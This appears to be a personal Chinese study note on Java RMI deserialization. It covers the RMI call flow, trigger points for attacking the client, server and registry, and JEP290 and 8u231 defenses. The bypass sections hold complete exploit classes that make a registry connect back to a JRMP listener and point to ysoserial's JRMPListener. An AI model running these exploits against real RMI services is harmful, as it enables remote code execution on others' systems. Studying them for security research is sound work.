2024/03/01:java反序列化:RMI

随手记得笔记.jpg

参考b站白日梦组长

流程原理

代码示例

服务端&注册中心

很少有人会把这两个分开放

官方文档:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

IRemoteObj.java:

1
2
3
4
5
6
7
8
9
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
//这是服务端和客户端都要有的接口

RemoteObjlmpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjlmpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjlmpl() throws RemoteException{
// super();
//如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法
}

@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
//这是服务端实现的远程调用类

RemoteServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjlmpl();
//创建远程对象,这里会完成一些跟网络请求相关的操作:
//1.会初始化一个类LiveRef,保存ip和一个随机端口,在之后不断封装调用
//2.封装的LiveRef会放在在UnicastServerRef父类UnicastRef里,通过动态代理创建stub,stub会放在注册中心让客户端拿(注意这个stub是远程调用类的stub)
//3.创建socket,多开线程,注意真正的代码逻辑的线程和网络请求的线程是独立的
//4.最后会创建DGCImpl对象,用于垃圾回收,会创建对应的stub,skel

Registry r = LocateRegistry.createRegistry(1099);//注册中心,默认端口1099
r.bind("remoteObj",remoteObj);//绑定到注册中心
//1.创建一个LiveRef再塞进UnicastServerRef里,与上类似
//2.初始化stub,这个stub是RegistryImpl_stub,然后创建skeleton
//3.大部分步骤与上相同
//4.最后用个hashtable完成绑定(bind)操作
}
}

客户端

IRemoteObj.java:

1
2
3
4
5
6
7
8
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

rmiclient.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmiclient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("Hello");
//1.客户端创建LiveRef,UnicastRef,根据host端口生成RegistryImpl_Stub,通过其查找注册中心远程对象
//2.客户端UnicastRef发起请求通信,从注册中心获取结果,异常时对输入流反序列化;没有异常的话,就正常返回RegistryImpl_Stub#lookup,获取数据流后反序列化,获得远程对象的动态代理对象RemoteObjStub
//3.注册中心根据Skel的不同调用对应的dispatch方法,那这里就会调用RegistryImpl_Skel#dispatch,这个方法有很多反序列化点
//4.在客户端调用了lookup,注册中心根据dispatch的逻辑,服务端会传递代理对象而不是远程对象本身(通过ConnectionOutputStream序列化,会调用replaceObject替换为动态代理对象)
//5.客户端远程方法调用,最后会调用UnicastRef里一个重载的invoke,它调用executeCall,存在反序列化点;invoke函数也可能调用存在反序列化点的unmarshalValue
//6.远程方法调用时服务端调用UnicastServerRef#dispatch,存在unmarshalValue函数
}
}

关于DGC

前面简要提及了客户端、服务端、注册中心调用流程的反序列化

DGC的Stub会在发布远程对象时自动生成,分别是DGCClient的EndpointEntry的构造函数里和DGCImpl静态代码块里

DGC客户端每次调用dirty时都有可能被DGC服务端攻击,8u141会有过滤器

DGC服务端调用dirty时也存在反序列化,DGC服务端可能被客户端攻击

触发点总结

攻击客户端

RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端

StreamRemoteCall#executeCall->JRMP服务端攻击JRMP客户端

攻击服务端

UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端

攻击注册中心

RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

高版本绕过

jdk8u121-EP290

8u121之后,安全机制JEP290对RMI进行修复:

1.限制服务端和注册中心必须在同一host,这俩被强制绑定了

2.RegistryImpl_Skel里面的对象反序列化时会进行白名单校验

1
2
3
4
5
6
7
8
9
10
11
12
13
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

3.DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验

1
2
3
4
5
6
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;

此时如何不受限制攻击客户端:

思路是让服务端成为JRMP客户端,只要调用任意一个stub,触发UnicastRef#invoke就会被攻击

利用JRMP层的StreamRemoteCall#executeCall,由于触发点不在两个Impl里,可以直接绕过过滤

实施

流程如下:

构造恶意对象,让注册中心发起dirty请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 public class JRMPRegistryExploit {   
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
lookup(registry);//重写lookup
}

public static void lookup(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(genEvilJRMPObj());
ref.invoke(var2);

}

private static Object genEvilJRMPObj() {
LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false);
UnicastRef unicastRef = new UnicastRef(liveRef);
return unicastRef;
}
}

这样受害者成了JRMP客户端导致被攻击

恶意服务端可直接用ysoserial/exploit/JRMPListener

JDK8u231

对注册中心加固,更新RegistryImpl_Skel#dispatch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 2: // lookup(String)
{
java.lang.String $param_String_1;
try {
java.io.ObjectInput in = call.getInputStream();
$param_String_1 = (java.lang.String) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
call.discardPendingRefs();//多了这个,把incomingRefTable清空
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);//更改了catch,多了ClassCastException
} finally {
call.releaseInputStream();
}
java.rmi.Remote $result = server.lookup($param_String_1);
try {
java.io.ObjectOutput out = call.getResultStream(true);
out.writeObject($result);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}
......

DGCImpl_Stub:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public void clean(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.VMID $param_VMID_3, boolean $param_boolean_4)
throws java.rmi.RemoteException {
try {
StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
operations, 0, interfaceHash);
call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1);
out.writeLong($param_long_2);
out.writeObject($param_VMID_3);
out.writeBoolean($param_boolean_4);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
ref.done(call);
} catch (java.lang.RuntimeException e) {
throw e;
} catch (java.rmi.RemoteException e) {
throw e;
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}

// implementation of dirty(ObjID[], long, Lease)
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3)
throws java.rmi.RemoteException {
try {
StreamRemoteCall call =
(StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
operations, 1, interfaceHash);
call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1);
out.writeLong($param_long_2);
out.writeObject($param_Lease_3);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
java.rmi.dgc.Lease $result;
Connection connection = call.getConnection();
try {
java.io.ObjectInput in = call.getInputStream();

$result = (java.rmi.dgc.Lease) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
if (connection instanceof TCPConnection) {
// Modified to prevent re-use of the connection after an exception
((TCPConnection) connection).getChannel().free(connection, false);
}
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
ref.done(call);
}
return $result;
} catch (java.lang.RuntimeException e) {
throw e;
} catch (java.rmi.RemoteException e) {
throw e;
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}

把过滤器调整到了invoke前

实施

JRMPListener监听,但一次性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class UnicastRemoteObjectExploit {
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
exploit(registry,"127.0.0.1",7777);

}

private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception {

UnicastRemoteObject unicastRemoteObject = getObj(host,port);
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
f.setAccessible( true );
f.set( var3, false );

var3.writeObject(unicastRemoteObject);
ref.invoke(var2);
}

private static UnicastRemoteObject getObj(String host,int port) throws Exception{
LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler
);

Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class);
RemoteObjectConstructor.setAccessible(true);
Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef));

Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(unicastRemoteObject,rmiServerSocketFactory);
return unicastRemoteObject;
}
}

大致思路:

UnicastRemoteObject的ssf是RMISeverSocketFactory类型(接口),把ssf设置成一个代理RMIServerSocketFactory接口的动态代理,里面放RemoteObjectInvocationHandler

服务端的TCPTransport#listen在客户端ref.invoke后会自动执行(查找远程对象),将UnicastRemoteObject反序列化,在TCPEndPoint#newServerSocket里面操作ssf,ssf中RemoteObjectInvocationHandler为动态代理类,在反序列化时执行invoke,最后调用UnicastRef#invoke,之后的步骤与JEP290绕过相同,服务端/注册中心成为JRMP客户端

JDK8u241里给修了,应该不会有bypass了